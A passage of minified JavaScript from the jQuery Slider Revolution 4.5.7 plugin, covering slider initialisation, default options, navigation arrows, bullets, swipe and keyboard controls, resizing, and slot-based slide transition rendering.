B=r;r.find("ul").css({display:"block"});b(r,i);if(i.parallax!="off")nt(r,i);if(i.slideamount>1)c(r,i);if(i.slideamount>1&&i.navigationType=="thumb")it(r,i);if(i.slideamount>1)h(r,i);if(i.keyboardNavigation=="on")p(r,i);d(r,i);if(i.hideThumbs>0)v(r,i);k(r,i);if(i.slideamount>1)K(r,i);setTimeout(function(){r.trigger("revolution.slide.onloaded")},500);e("body").data("rs-fullScreenMode",false);e(window).on("mozfullscreenchange webkitfullscreenchange fullscreenchange",function(){e("body").data("rs-fullScreenMode",!e("body").data("rs-fullScreenMode"));if(e("body").data("rs-fullScreenMode")){setTimeout(function(){e(window).trigger("resize")},200)}});e(window).resize(function(){if(e("body").find(r)!=0)if(i.forceFullWidth=="on"){var t=i.container.closest(".forcefullwidth_wrapper_tp_banner").offset().left;i.container.parent().css({left:0-t+"px",width:e(window).width()})}if(r.outerWidth(true)!=i.width||r.is(":hidden")){a(r,i)}});try{if(i.hideThumbsUnderResoluition!=0&&i.navigationType=="thumb"){if(i.hideThumbsUnderResoluition>e(window).width())e(".tp-bullets").css({display:"none"});else e(".tp-bullets").css({display:"block"})}}catch(g){}r.find(".tp-scrollbelowslider").on("click",function(){var t=0;try{t=e("body").find(i.fullScreenOffsetContainer).height()}catch(n){}try{t=t-parseInt(e(this).data("scrolloffset"),0)}catch(n){}e("body,html").animate({scrollTop:r.offset().top+r.find(">ul >li").height()-t+"px"},{duration:400})});var j=r.parent();if(e(window).width()<i.hideSliderAtLimit){r.trigger("stoptimer");if(j.css("display")!="none")j.data("olddisplay",j.css("display"));j.css({display:"none"})}o(r,i)}}e.fn.extend({revolution:function(n){defaults={delay:9e3,startheight:500,startwidth:960,fullScreenAlignForce:"off",autoHeight:"off",hideTimerBar:"off",hideThumbs:200,hideNavDelayOnMobile:1500,thumbWidth:100,thumbHeight:50,thumbAmount:3,navigationType:"bullet",navigationArrows:"solo",navigationInGrid:"off",hideThumbsOnMobile:"off",hideBulletsOnMobile:"off",hideArrowsOnMobile:"off",hideThumbsUnderResoluition:0,navigationStyle:"round",navigationHAlign:"center",navigationVAlign:"bottom",navigationHOffset:0,navigationVOffset:20,soloArrowLeftHalign:"left",soloArrowLeftValign:"center",soloArrowLeftHOffset:20,soloArrowLeftVOffset:0,soloArrowRightHalign:"right",soloArrowRightValign:"center",soloArrowRightHOffset:20,soloArrowRightVOffset:0,keyboardNavigation:"on",touchenabled:"on",onHoverStop:"on",stopAtSlide:-1,stopAfterLoops:-1,hideCaptionAtLimit:0,hideAllCaptionAtLimit:0,hideSliderAtLimit:0,shadow:0,fullWidth:"off",fullScreen:"off",minFullScreenHeight:0,fullScreenOffsetContainer:"",fullScreenOffset:"0",dottedOverlay:"none",forceFullWidth:"off",spinner:"spinner0",swipe_treshold:75,swipe_min_touches:1,drag_block_vertical:false,isJoomla:false,parallax:"off",parallaxLevels:[10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85],parallaxBgFreeze:"off",parallaxOpacity:"on",parallaxDisableOnMobile:"off",panZoomDisableOnMobile:"off",simplifyAll:"on",minHeight:0,nextSlideOnWindowFocus:"off"};n=e.extend({},defaults,n);return this.each(function(){if(window.tplogs==true)try{console.groupCollapsed("Slider Revolution 4.5.7 Initialisation on "+e(this).attr("id"));console.groupCollapsed("Used Options:");console.info(n);console.groupEnd();console.groupCollapsed("Tween Engine:")}catch(i){}if(punchgs.TweenLite==t){if(window.tplogs==true)try{console.error("GreenSock Engine Does not Exist!")}catch(i){}return false}punchgs.force3D=true;if(window.tplogs==true)try{console.info("GreenSock Engine Version in Slider Revolution:"+punchgs.TweenLite.version)}catch(i){}if(n.simplifyAll=="on"){}else{punchgs.TweenLite.lagSmoothing(1e3,16);punchgs.force3D="true"}if(window.tplogs==true)try{console.groupEnd();console.groupEnd()}catch(i){}r(e(this),n)})},revscroll:function(t){return this.each(function(){var n=e(this);e("body,html").animate({scrollTop:n.offset().top+n.find(">ul >li").height()-t+"px"},{duration:400})})},revredraw:function(t){return this.each(function(){var t=e(this);var n=t.parent().find(".tp-bannertimer");var r=n.data("opt");a(t,r)})},revpause:function(t){return this.each(function(){var t=e(this);t.data("conthover",1);t.data("conthover-changed",1);t.trigger("revolution.slide.onpause");var n=t.parent().find(".tp-bannertimer");var r=n.data("opt");r.bannertimeronpause=true;t.trigger("stoptimer")})},revresume:function(t){return this.each(function(){var t=e(this);t.data("conthover",0);t.data("conthover-changed",1);t.trigger("revolution.slide.onresume");var n=t.parent().find(".tp-bannertimer");var r=n.data("opt");r.bannertimeronpause=false;t.trigger("starttimer")})},revnext:function(t){return this.each(function(){var t=e(this);t.parent().find(".tp-rightarrow").click()})},revprev:function(t){return this.each(function(){var t=e(this);t.parent().find(".tp-leftarrow").click()})},revmaxslide:function(t){return e(this).find(">ul:first-child >li").length},revcurrentslide:function(t){var n=e(this);var r=n.parent().find(".tp-bannertimer");var i=r.data("opt");return i.act},revlastslide:function(t){var n=e(this);var r=n.parent().find(".tp-bannertimer");var i=r.data("opt");return i.lastslide},revshowslide:function(t){return this.each(function(){var n=e(this);n.data("showus",t);n.parent().find(".tp-rightarrow").click()})}});var s=function(){var e,t,n={hidden:"visibilitychange",webkitHidden:"webkitvisibilitychange",mozHidden:"mozvisibilitychange",msHidden:"msvisibilitychange"};for(e in n){if(e in document){t=n[e];break}}return function(n){if(n)document.addEventListener(t,n);return!document[e]}}();var o=function(n,r){var i=document.documentMode===t,s=window.chrome;if(i&&!s){e(window).on("focusin",function(){setTimeout(function(){if(r.nextSlideOnWindowFocus=="on")n.revnext();n.revredraw()},300)}).on("focusout",function(){})}else{if(window.addEventListener){window.addEventListener("focus",function(e){setTimeout(function(){if(r.nextSlideOnWindowFocus=="on")n.revnext();n.revredraw()},300)},false);window.addEventListener("blur",function(e){},false)}else{window.attachEvent("focus",function(e){setTimeout(function(){if(r.nextSlideOnWindowFocus=="on")n.revnext();n.revredraw()},300)});window.attachEvent("blur",function(e){})}}};var u=function(e){var t=[],n;var r=window.location.href.slice(window.location.href.indexOf(e)+1).split("_");for(var i=0;i<r.length;i++){r[i]=r[i].replace("%3D","=");n=r[i].split("=");t.push(n[0]);t[n[0]]=n[1]}return t};var a=function(n,r){try{if(r.hideThumbsUnderResoluition!=0&&r.navigationType=="thumb"){if(r.hideThumbsUnderResoluition>e(window).width())e(".tp-bullets").css({display:"none"});else e(".tp-bullets").css({display:"block"})}}catch(i){}n.find(".defaultimg").each(function(t){y(e(this),r)});var s=n.parent();if(e(window).width()<r.hideSliderAtLimit){n.trigger("stoptimer");if(s.css("display")!="none")s.data("olddisplay",s.css("display"));s.css({display:"none"})}else{if(n.is(":hidden")){if(s.data("olddisplay")!=t&&s.data("olddisplay")!="undefined"&&s.data("olddisplay")!="none")s.css({display:s.data("olddisplay")});else s.css({display:"block"});n.trigger("restarttimer");setTimeout(function(){a(n,r)},150)}}var o=0;if(r.forceFullWidth=="on")o=0-r.container.parent().offset().left;try{n.parent().find(".tp-bannershadow").css({width:r.width,left:o})}catch(i){}var u=n.find(">ul >li:eq("+r.act+") .slotholder");var f=n.find(">ul >li:eq("+r.next+") .slotholder");x(n,r,n);punchgs.TweenLite.set(f.find(".defaultimg"),{opacity:0});u.find(".defaultimg").css({opacity:1});f.find(".defaultimg").each(function(){var i=e(this);if(r.panZoomDisableOnMobile=="on"&&Q()){}else{if(i.data("kenburn")!=t){i.data("kenburn").restart();Y(n,r,true)}}});var l=n.find(">ul >li:eq("+r.next+")");var c=n.parent().find(".tparrows");if(c.hasClass("preview2"))c.css({width:parseInt(c.css("minWidth"),0)});I(l,r,true);m(n,r)};var f=function(t,n){var r=e('<div style="display:none;"/>').appendTo(e("body"));r.html("<!--[if "+(n||"")+" IE "+(t||"")+"]><a>&nbsp;</a><![endif]-->");var i=r.find("a").length;r.remove();return i};var l=function(e,t){if(e.next==t.find(">ul >li").length-1){e.looptogo=e.looptogo-1;if(e.looptogo<=0)e.stopLoop="on"}k(t,e)};var c=function(t,n){var r="hidebullets";if(n.hideThumbs==0)r="";if(n.navigationType=="bullet"||n.navigationType=="both"){t.parent().append('<div class="tp-bullets '+r+" simplebullets "+n.navigationStyle+'"></div>')}var i=t.parent().find(".tp-bullets");t.find(">ul:first >li").each(function(e){var n=t.find(">ul:first >li:eq("+e+") img:first").attr("src");i.append('<div class="bullet"></div>');var r=i.find(".bullet:first")});i.find(".bullet").each(function(r){var i=e(this);if(r==n.slideamount-1)i.addClass("last");if(r==0)i.addClass("first");i.click(function(){var e=false;if(n.navigationArrows=="withbullet"||n.navigationArrows=="nexttobullets"){if(i.index()-1==n.act)e=true}else{if(i.index()==n.act)e=true}if(n.transition==0&&!e){if(n.navigationArrows=="withbullet"||n.navigationArrows=="nexttobullets"){n.next=i.index()-1}else{n.next=i.index()}l(n,t)}})});i.append('<div class="tpclear"></div>');m(t,n)};var h=function(e,n){function u(t){e.parent().append('<div style="'+i+'" class="tp-'+t+"arrow "+s+" tparrows "+o+'"><div class="tp-arr-allwrapper"><div class="tp-arr-iwrapper"><div class="tp-arr-imgholder"></div><div class="tp-arr-imgholder2"></div><div class="tp-arr-titleholder"></div><div class="tp-arr-subtitleholder"></div></div></div></div>')}var r=e.find(".tp-bullets");var i="",s="hidearrows";if(n.hideThumbs==0)s="";var o=n.navigationStyle;if(n.navigationArrows=="none")i="visibility:hidden;display:none";n.soloArrowStyle="default"+" "+n.navigationStyle;if(n.navigationArrows!="none"&&n.navigationArrows!="nexttobullets")o=n.soloArrowStyle;u("left");u("right");e.parent().find(".tp-rightarrow").click(function(){if(n.transition==0){if(e.data("showus")!=t&&e.data("showus")!=-1)n.next=e.data("showus")-1;else n.next=n.next+1;e.data("showus",-1);if(n.next>=n.slideamount)n.next=0;if(n.next<0)n.next=0;if(n.act!=n.next)l(n,e)}});e.parent().find(".tp-leftarrow").click(function(){if(n.transition==0){n.next=n.next-1;n.leftarrowpressed=1;if(n.next<0)n.next=n.slideamount-1;l(n,e)}});m(e,n)};var p=function(n,r){e(document).keydown(function(e){if(r.transition==0&&e.keyCode==39){if(n.data("showus")!=t&&n.data("showus")!=-1)r.next=n.data("showus")-1;else r.next=r.next+1;n.data("showus",-1);if(r.next>=r.slideamount)r.next=0;if(r.next<0)r.next=0;if(r.act!=r.next)l(r,n)}if(r.transition==0&&e.keyCode==37){r.next=r.next-1;r.leftarrowpressed=1;if(r.next<0)r.next=r.slideamount-1;l(r,n)}});m(n,r)};var d=function(t,n){var r="vertical";if(n.touchenabled=="on"){if(n.drag_block_vertical==true)r="none";t.swipe({allowPageScroll:r,fingers:n.swipe_min_touches,treshold:n.swipe_treshold,swipe:function(i,s,o,u,a,f){switch(s){case"left":if(n.transition==0){n.next=n.next+1;if(n.next==n.slideamount)n.next=0;l(n,t)}break;case"right":if(n.transition==0){n.next=n.next-1;n.leftarrowpressed=1;if(n.next<0)n.next=n.slideamount-1;l(n,t)}break;case"up":if(r=="none")e("html, body").animate({scrollTop:t.offset().top+t.height()+"px"});break;case"down":if(r=="none")e("html, body").animate({scrollTop:t.offset().top-e(window).height()+"px"});break}}})}};var v=function(e,t){var n=e.parent().find(".tp-bullets");var r=e.parent().find(".tparrows");if(n==null){e.append('<div class=".tp-bullets"></div>');var n=e.parent().find(".tp-bullets")}if(r==null){e.append('<div class=".tparrows"></div>');var r=e.parent().find(".tparrows")}e.data("hideThumbs",t.hideThumbs);n.addClass("hidebullets");r.addClass("hidearrows");if(Q()){try{e.hammer().on("touch",function(){e.addClass("hovered");if(t.onHoverStop=="on")e.trigger("stoptimer");clearTimeout(e.data("hideThumbs"));n.removeClass("hidebullets");r.removeClass("hidearrows")});e.hammer().on("release",function(){e.removeClass("hovered");e.trigger("starttimer");if(!e.hasClass("hovered")&&!n.hasClass("hovered"))e.data("hideThumbs",setTimeout(function(){n.addClass("hidebullets");r.addClass("hidearrows");e.trigger("starttimer")},t.hideNavDelayOnMobile))})}catch(i){}}else{n.hover(function(){t.overnav=true;if(t.onHoverStop=="on")e.trigger("stoptimer");n.addClass("hovered");clearTimeout(e.data("hideThumbs"));n.removeClass("hidebullets");r.removeClass("hidearrows")},function(){t.overnav=false;e.trigger("starttimer");n.removeClass("hovered");if(!e.hasClass("hovered")&&!n.hasClass("hovered"))e.data("hideThumbs",setTimeout(function(){n.addClass("hidebullets");r.addClass("hidearrows")},t.hideThumbs))});r.hover(function(){t.overnav=true;if(t.onHoverStop=="on")e.trigger("stoptimer");n.addClass("hovered");clearTimeout(e.data("hideThumbs"));n.removeClass("hidebullets");r.removeClass("hidearrows")},function(){t.overnav=false;e.trigger("starttimer");n.removeClass("hovered")});e.on("mouseenter",function(){e.addClass("hovered");if(t.onHoverStop=="on")e.trigger("stoptimer");clearTimeout(e.data("hideThumbs"));n.removeClass("hidebullets");r.removeClass("hidearrows")});e.on("mouseleave",function(){e.removeClass("hovered");e.trigger("starttimer");if(!e.hasClass("hovered")&&!n.hasClass("hovered"))e.data("hideThumbs",setTimeout(function(){n.addClass("hidebullets");r.addClass("hidearrows")},t.hideThumbs))})}};var m=function(t,n){var r=t.parent();var i=r.find(".tp-bullets");if(n.navigationType=="thumb"){i.find(".thumb").each(function(t){var r=e(this);r.css({width:n.thumbWidth*n.bw+"px",height:n.thumbHeight*n.bh+"px"})});var s=i.find(".tp-mask");s.width(n.thumbWidth*n.thumbAmount*n.bw);s.height(n.thumbHeight*n.bh);s.parent().width(n.thumbWidth*n.thumbAmount*n.bw);s.parent().height(n.thumbHeight*n.bh)}var o=r.find(".tp-leftarrow");var u=r.find(".tp-rightarrow");if(n.navigationType=="thumb"&&n.navigationArrows=="nexttobullets")n.navigationArrows="solo";if(n.navigationArrows=="nexttobullets"){o.prependTo(i).css({"float":"left"});u.insertBefore(i.find(".tpclear")).css({"float":"left"})}var a=0;if(n.forceFullWidth=="on")a=0-n.container.parent().offset().left;var f=0,l=0;if(n.navigationInGrid=="on"){f=t.width()>n.startwidth?(t.width()-n.startwidth)/2:0,l=t.height()>n.startheight?(t.height()-n.startheight)/2:0}if(n.navigationArrows!="none"&&n.navigationArrows!="nexttobullets"){o.css({position:"absolute"});u.css({position:"absolute"});if(n.soloArrowLeftValign=="center")o.css({top:"50%",marginTop:n.soloArrowLeftVOffset-Math.round(o.innerHeight()/2)+"px"});if(n.soloArrowLeftValign=="bottom")o.css({top:"auto",bottom:0+n.soloArrowLeftVOffset+"px"});if(n.soloArrowLeftValign=="top")o.css({bottom:"auto",top:0+n.soloArrowLeftVOffset+"px"});if(n.soloArrowLeftHalign=="center")o.css({left:"50%",marginLeft:a+n.soloArrowLeftHOffset-Math.round(o.innerWidth()/2)+"px"});if(n.soloArrowLeftHalign=="left")o.css({left:f+n.soloArrowLeftHOffset+a+"px"});if(n.soloArrowLeftHalign=="right")o.css({right:f+n.soloArrowLeftHOffset-a+"px"});if(n.soloArrowRightValign=="center")u.css({top:"50%",marginTop:n.soloArrowRightVOffset-Math.round(u.innerHeight()/2)+"px"});if(n.soloArrowRightValign=="bottom")u.css({top:"auto",bottom:0+n.soloArrowRightVOffset+"px"});if(n.soloArrowRightValign=="top")u.css({bottom:"auto",top:0+n.soloArrowRightVOffset+"px"});if(n.soloArrowRightHalign=="center")u.css({left:"50%",marginLeft:a+n.soloArrowRightHOffset-Math.round(u.innerWidth()/2)+"px"});if(n.soloArrowRightHalign=="left")u.css({left:f+n.soloArrowRightHOffset+a+"px"});if(n.soloArrowRightHalign=="right")u.css({right:f+n.soloArrowRightHOffset-a+"px"});if(o.position()!=null)o.css({top:Math.round(parseInt(o.position().top,0))+"px"});if(u.position()!=null)u.css({top:Math.round(parseInt(u.position().top,0))+"px"})}if(n.navigationArrows=="none"){o.css({visibility:"hidden"});u.css({visibility:"hidden"})}if(n.navigationVAlign=="center")i.css({top:"50%",marginTop:n.navigationVOffset-Math.round(i.innerHeight()/2)+"px"});if(n.navigationVAlign=="bottom")i.css({bottom:0+n.navigationVOffset+"px"});if(n.navigationVAlign=="top")i.css({top:0+n.navigationVOffset+"px"});if(n.navigationHAlign=="center")i.css({left:"50%",marginLeft:a+n.navigationHOffset-Math.round(i.innerWidth()/2)+"px"});if(n.navigationHAlign=="left")i.css({left:0+n.navigationHOffset+a+"px"});if(n.navigationHAlign=="right")i.css({right:0+n.navigationHOffset-a+"px"})};var g=function(n){var r=n.container;n.beforli=n.next-1;n.comingli=n.next+1;if(n.beforli<0)n.beforli=n.slideamount-1;if(n.comingli>=n.slideamount)n.comingli=0;var i=r.find(">ul:first-child >li:eq("+n.comingli+")"),s=r.find(">ul:first-child >li:eq("+n.beforli+")"),o=s.find(".defaultimg").attr("src"),u=i.find(".defaultimg").attr("src");if(n.arr==t){n.arr=r.parent().find(".tparrows"),n.rar=r.parent().find(".tp-rightarrow"),n.lar=r.parent().find(".tp-leftarrow"),n.raimg=n.rar.find(".tp-arr-imgholder"),n.laimg=n.lar.find(".tp-arr-imgholder"),n.raimg_b=n.rar.find(".tp-arr-imgholder2"),n.laimg_b=n.lar.find(".tp-arr-imgholder2"),n.ratit=n.rar.find(".tp-arr-titleholder"),n.latit=n.lar.find(".tp-arr-titleholder")}var a=n.arr,f=n.rar,l=n.lar,c=n.raimg,h=n.laimg,p=n.raimg_b,d=n.laimg_b,v=n.ratit,m=n.latit;if(i.data("title")!=t)v.html(i.data("title"));if(s.data("title")!=t)m.html(s.data("title"));if(f.hasClass("itishovered")){f.width(v.outerWidth(true)+parseInt(f.css("minWidth"),0))}if(l.hasClass("itishovered")){l.width(m.outerWidth(true)+parseInt(l.css("minWidth"),0))}if(a.hasClass("preview2")&&!a.hasClass("hashoveralready")){a.addClass("hashoveralready");if(!Q())a.hover(function(){var t=e(this),n=t.find(".tp-arr-titleholder");if(e(window).width()>767)t.width(n.outerWidth(true)+parseInt(t.css("minWidth"),0));t.addClass("itishovered")},function(){var t=e(this),n=t.find(".tp-arr-titleholder");t.css({width:parseInt(t.css("minWidth"),0)});t.removeClass("itishovered")});else{var a=e(this),g=a.find(".tp-arr-titleholder");g.addClass("alwayshidden");punchgs.TweenLite.set(g,{autoAlpha:0})}}if(s.data("thumb")!=t)o=s.data("thumb");if(i.data("thumb")!=t)u=i.data("thumb");if(!a.hasClass("preview4")){punchgs.TweenLite.to(c,.5,{autoAlpha:0,onComplete:function(){c.css({backgroundImage:"url("+u+")"});h.css({backgroundImage:"url("+o+")"})}});punchgs.TweenLite.to(h,.5,{autoAlpha:0,onComplete:function(){punchgs.TweenLite.to(c,.5,{autoAlpha:1,delay:.2});punchgs.TweenLite.to(h,.5,{autoAlpha:1,delay:.2})}})}else{p.css({backgroundImage:"url("+u+")"});d.css({backgroundImage:"url("+o+")"});punchgs.TweenLite.fromTo(p,.8,{force3D:punchgs.force3d,x:0},{x:-c.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){c.css({backgroundImage:"url("+u+")"});punchgs.TweenLite.set(p,{x:0})}});punchgs.TweenLite.fromTo(d,.8,{force3D:punchgs.force3d,x:0},{x:c.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){h.css({backgroundImage:"url("+o+")"});punchgs.TweenLite.set(d,{x:0})}});punchgs.TweenLite.fromTo(c,.8,{x:0},{force3D:punchgs.force3d,x:-c.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){punchgs.TweenLite.set(c,{x:0})}});punchgs.TweenLite.fromTo(h,.8,{x:0},{force3D:punchgs.force3d,x:c.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){punchgs.TweenLite.set(h,{x:0})}})}if(f.hasClass("preview4")&&!f.hasClass("hashoveralready")){f.addClass("hashoveralready");f.hover(function(){var t=e(this).find(".tp-arr-iwrapper");var n=e(this).find(".tp-arr-allwrapper");punchgs.TweenLite.fromTo(t,.4,{x:t.width()},{x:0,delay:.3,ease:punchgs.Power3.easeOut,overwrite:"all"});punchgs.TweenLite.to(n,.2,{autoAlpha:1,overwrite:"all"})},function(){var t=e(this).find(".tp-arr-iwrapper");var n=e(this).find(".tp-arr-allwrapper");punchgs.TweenLite.to(t,.4,{x:t.width(),ease:punchgs.Power3.easeOut,delay:.2,overwrite:"all"});punchgs.TweenLite.to(n,.2,{delay:.6,autoAlpha:0,overwrite:"all"})});l.hover(function(){var t=e(this).find(".tp-arr-iwrapper");var n=e(this).find(".tp-arr-allwrapper");punchgs.TweenLite.fromTo(t,.4,{x:0-t.width()},{x:0,delay:.3,ease:punchgs.Power3.easeOut,overwrite:"all"});punchgs.TweenLite.to(n,.2,{autoAlpha:1,overwrite:"all"})},function(){var t=e(this).find(".tp-arr-iwrapper");var n=e(this).find(".tp-arr-allwrapper");punchgs.TweenLite.to(t,.4,{x:0-t.width(),ease:punchgs.Power3.easeOut,delay:.2,overwrite:"all"});punchgs.TweenLite.to(n,.2,{delay:.6,autoAlpha:0,overwrite:"all"})})}};var y=function(n,r){r.container.closest(".forcefullwidth_wrapper_tp_banner").find(".tp-fullwidth-forcer").css({height:r.container.height()});r.container.closest(".rev_slider_wrapper").css({height:r.container.height()});r.width=parseInt(r.container.width(),0);r.height=parseInt(r.container.height(),0);r.bw=r.width/r.startwidth;r.bh=r.height/r.startheight;if(r.bh>r.bw)r.bh=r.bw;if(r.bh<r.bw)r.bw=r.bh;if(r.bw<r.bh)r.bh=r.bw;if(r.bh>1){r.bw=1;r.bh=1}if(r.bw>1){r.bw=1;r.bh=1}r.height=Math.round(r.startheight*(r.width/r.startwidth));if(r.height>r.startheight&&r.autoHeight!="on")r.height=r.startheight;if(r.fullScreen=="on"){r.height=r.bw*r.startheight;var i=r.container.parent().width();var s=e(window).height();if(r.fullScreenOffsetContainer!=t){try{var o=r.fullScreenOffsetContainer.split(",");e.each(o,function(t,n){s=s-e(n).outerHeight(true);if(s<r.minFullScreenHeight)s=r.minFullScreenHeight})}catch(u){}try{if(r.fullScreenOffset.split("%").length>1&&r.fullScreenOffset!=t&&r.fullScreenOffset.length>0){s=s-e(window).height()*parseInt(r.fullScreenOffset,0)/100}else{if(r.fullScreenOffset!=t&&r.fullScreenOffset.length>0)s=s-parseInt(r.fullScreenOffset,0)}if(s<r.minFullScreenHeight)s=r.minFullScreenHeight}catch(u){}}r.container.parent().height(s);r.container.closest(".rev_slider_wrapper").height(s);r.container.css({height:"100%"});r.height=s;if(r.minHeight!=t&&r.height<r.minHeight)r.height=r.minHeight}else{if(r.minHeight!=t&&r.height<r.minHeight)r.height=r.minHeight;r.container.height(r.height)}r.slotw=Math.ceil(r.width/r.slots);if(r.fullScreen=="on")r.sloth=Math.ceil(e(window).height()/r.slots);else r.sloth=Math.ceil(r.height/r.slots);if(r.autoHeight=="on")r.sloth=Math.ceil(n.height()/r.slots)};var b=function(n,r){n.find(".tp-caption").each(function(){e(this).addClass(e(this).data("transition"));e(this).addClass("start")});n.find(">ul:first").css({overflow:"hidden",width:"100%",height:"100%",maxHeight:n.parent().css("maxHeight")});if(r.autoHeight=="on"){n.find(">ul:first").css({overflow:"hidden",width:"100%",height:"100%",maxHeight:"none"});n.css({maxHeight:"none"});n.parent().css({maxHeight:"none"})}n.find(">ul:first >li").each(function(n){var r=e(this);r.css({width:"100%",height:"100%",overflow:"hidden"});if(r.data("link")!=t){var i=r.data("link");var s="_self";var o=60;if(r.data("slideindex")=="back")o=0;var u=r.data("linktoslide");if(r.data("target")!=t)s=r.data("target");if(i=="slide"){r.append('<div class="tp-caption sft slidelink" style="width:100%;height:100%;z-index:'+o+';" data-x="center" data-y="center" data-linktoslide="'+u+'" data-start="0"><a style="width:100%;height:100%;display:block"><span style="width:100%;height:100%;display:block"></span></a></div>')}else{u="no";r.append('<div class="tp-caption sft slidelink" style="width:100%;height:100%;z-index:'+o+';" data-x="center" data-y="center" data-linktoslide="'+u+'" data-start="0"><a style="width:100%;height:100%;display:block" target="'+s+'" href="'+i+'"><span style="width:100%;height:100%;display:block"></span></a></div>')}}});n.parent().css({overflow:"visible"});n.find(">ul:first >li >img").each(function(n){var i=e(this);i.addClass("defaultimg");if(i.data("lazyload")!=t&&i.data("lazydone")!=1){}else{y(i,r)}i.wrap('<div class="slotholder" style="width:100%;height:100%;"'+'data-duration="'+i.data("duration")+'"'+'data-zoomstart="'+i.data("zoomstart")+'"'+'data-zoomend="'+i.data("zoomend")+'"'+'data-rotationstart="'+i.data("rotationstart")+'"'+'data-rotationend="'+i.data("rotationend")+'"'+'data-ease="'+i.data("ease")+'"'+'data-duration="'+i.data("duration")+'"'+'data-bgpositionend="'+i.data("bgpositionend")+'"'+'data-bgposition="'+i.data("bgposition")+'"'+'data-duration="'+i.data("duration")+'"'+'data-kenburns="'+i.data("kenburns")+'"'+'data-easeme="'+i.data("ease")+'"'+'data-bgfit="'+i.data("bgfit")+'"'+'data-bgfitend="'+i.data("bgfitend")+'"'+'data-owidth="'+i.data("owidth")+'"'+'data-oheight="'+i.data("oheight")+'"'+"></div>");if(r.dottedOverlay!="none"&&r.dottedOverlay!=t)i.closest(".slotholder").append('<div class="tp-dottedoverlay '+r.dottedOverlay+'"></div>');var s=i.attr("src"),o=i.data("lazyload"),u=i.data("bgfit"),a=i.data("bgrepeat"),l=i.data("bgposition");if(u==t)u="cover";if(a==t)a="no-repeat";if(l==t)l="center center";var c=i.closest(".slotholder");i.replaceWith('<div class="tp-bgimg defaultimg" data-lazyload="'+i.data("lazyload")+'" data-bgfit="'+u+'"data-bgposition="'+l+'" data-bgrepeat="'+a+'" data-lazydone="'+i.data("lazydone")+'" src="'+s+'" data-src="'+s+'" style="background-color:'+i.css("backgroundColor")+";background-repeat:"+a+";background-image:url("+s+");background-size:"+u+";background-position:"+l+';width:100%;height:100%;"></div>');if(f(8)){c.find(".tp-bgimg").css({backgroundImage:"none","background-image":"none"});c.find(".tp-bgimg").append('<img class="ieeightfallbackimage defaultimg" src="'+s+'" style="width:100%">')}i.css({opacity:0});i.data("li-id",n)})};var w=function(e,n,r,i){var s=e,o=s.find(".defaultimg"),u=s.data("zoomstart"),a=s.data("rotationstart");if(o.data("currotate")!=t)a=o.data("currotate");if(o.data("curscale")!=t)u=o.data("curscale");y(o,n);var l=o.data("src"),c=o.css("background-color"),h=n.width,p=n.height,d=o.data("fxof");if(n.autoHeight=="on")p=n.container.height();if(d==t)d=0;fullyoff=0;var v=0,m=o.data("bgfit"),g=o.data("bgrepeat"),b=o.data("bgposition");if(m==t)m="cover";if(g==t)g="no-repeat";if(b==t)b="center center";if(f(8)){s.data("kenburns","off");var w=l;l=""}if(n.panZoomDisableOnMobile=="on"&&Q()){s.data("kenburns","off")}if(s.data("kenburns")=="on"){m=u;if(m.toString().length<4)m=G(m,s,n)}if(i=="horizontal"){if(!r)var v=0-n.slotw;for(var E=0;E<n.slots;E++){s.append('<div class="slot" style="position:absolute;'+"top:"+(0+fullyoff)+"px;"+"left:"+(d+E*n.slotw)+"px;"+"overflow:hidden;width:"+(n.slotw+.6)+"px;"+"height:"+p+'px">'+'<div class="slotslide" style="position:absolute;'+"top:0px;left:"+v+"px;"+"width:"+(n.slotw+.6)+"px;"+"height:"+p+'px;overflow:hidden;">'+'<div style="background-color:'+c+";"+"position:absolute;top:0px;"+"left:"+(0-E*n.slotw)+"px;"+"width:"+h+"px;height:"+p+"px;"+"background-image:url("+l+");"+"background-repeat:"+g+";"+"background-size:"+m+";background-position:"+b+';">'+"</div></div></div>");if(u!=t&&a!=t)punchgs.TweenLite.set(s.find(".slot").last(),{rotationZ:a});if(f(8)){s.find(".slot ").last().find(".slotslide").append('<img class="ieeightfallbackimage" src="'+w+'" style="width:100%;height:auto">');S(s,n)}}}else{if(!r)var v=0-n.sloth;for(var E=0;E<n.slots+2;E++){s.append('<div class="slot" style="position:absolute;'+"top:"+(fullyoff+E*n.sloth)+"px;"+"left:"+d+"px;"+"overflow:hidden;"+"width:"+h+"px;"+"height:"+n.sloth+'px">'+'<div class="slotslide" style="position:absolute;'+"top:"+v+"px;"+"left:0px;width:"+h+"px;"+"height:"+n.sloth+"px;"+'overflow:hidden;">'+'<div style="background-color:'+c+";"+"position:absolute;"+"top:"+(0-E*n.sloth)+"px;"+"left:0px;"+"width:"+h+"px;height:"+p+"px;"+"background-image:url("+l+");"+"background-repeat:"+g+";"+"background-size:"+m+";background-position:"+b+';">'+"</div></div></div>");if(u!=t&&a!=t)punchgs.TweenLite.set(s.find(".slot").last(),{rotationZ:a});if(f(8)){s.find(".slot ").last().find(".slotslide").append('<img class="ieeightfallbackimage" src="'+w+'" style="width:100%;height:auto;">');S(s,n)}}}};var E=function(e,n,r){var i=e;var s=i.find(".defaultimg");var o=i.data("zoomstart");var u=i.data("rotationstart");if(s.data("currotate")!=t)u=s.data("currotate");if(s.data("curscale")!=t)o=s.data("curscale")*100;y(s,n);var a=s.data("src");var l=s.css("backgroundColor");var c=n.width;var h=n.height;if(n.autoHeight=="on")h=n.container.height();var p=s.data("fxof");if(p==t)p=0;fullyoff=0;var d=0;if(f(8)){var v=a;a=""}var m=0;if(n.sloth>n.slotw)m=n.sloth;else m=n.slotw;if(!r){var d=0-m}n.slotw=m;n.sloth=m;var g=0;var b=0;var w=s.data("bgfit");var E=s.data("bgrepeat");var x=s.data("bgposition");if(w==t)w="cover";if(E==t)E="no-repeat";if(x==t)x="center center";if(i.data("kenburns")=="on"){w=o;if(w.toString().length<4)w=G(w,i,n)}for(var T=0;T<n.slots;T++){b=0;for(var N=0;N<n.slots;N++){i.append('<div class="slot" '+'style="position:absolute;'+"top:"+(fullyoff+b)+"px;"+"left:"+(p+g)+"px;"+"width:"+m+"px;"+"height:"+m+"px;"+'overflow:hidden;">'+'<div class="slotslide" data-x="'+g+'" data-y="'+b+'" 